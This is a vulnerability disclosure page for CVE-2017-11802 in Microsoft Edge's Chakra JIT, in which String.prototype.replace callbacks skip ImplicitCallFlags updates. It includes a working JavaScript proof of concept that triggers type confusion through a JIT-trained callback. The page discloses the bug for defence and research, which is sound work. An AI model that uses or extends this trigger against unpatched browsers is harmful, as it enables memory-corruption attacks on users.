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Microsoft Edge Chakra JIT Failed RegexHelper::StringReplace Call

Microsoft Edge Chakra JIT Failed RegexHelper::StringReplace Call
Posted Oct 14, 2017
Authored by Google Security Research, lokihardt

The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called.

tags | exploit
advisories | CVE-2017-11802
MD5 | 59bdc94ef54bad4cc587d3c9269d17cb

Microsoft Edge Chakra JIT Failed RegexHelper::StringReplace Call

Change Mirror Download
 Microsoft Edge: Chakra: JIT: RegexHelper::StringReplace must call the callback function with updating ImplicitCallFlags 

CVE-2017-11802


The "String.prototype.replace" method can be inlined in the JIT process. So in the method, all the calls which may break the JIT assumptions must be invoked with updating "ImplicitCallFlags". But "RegexHelper::StringReplace" calls the replace function without updating the flag. Therefore it fails to detect if a user function was called.


The PoC shows that it can result in type confusion.

PoC:
function main() {
let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
function opt(f) {
arr[0] = 1.1;
arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
arr[2] = 1.1;
arr[3] = 1.1;
}

let <a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a> = () => '0';
for (var i = 0; i < 0x1000; i++)
opt(<a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a>);

opt(() => {
arr[0] = {};
return '0';
});

print(arr[1]);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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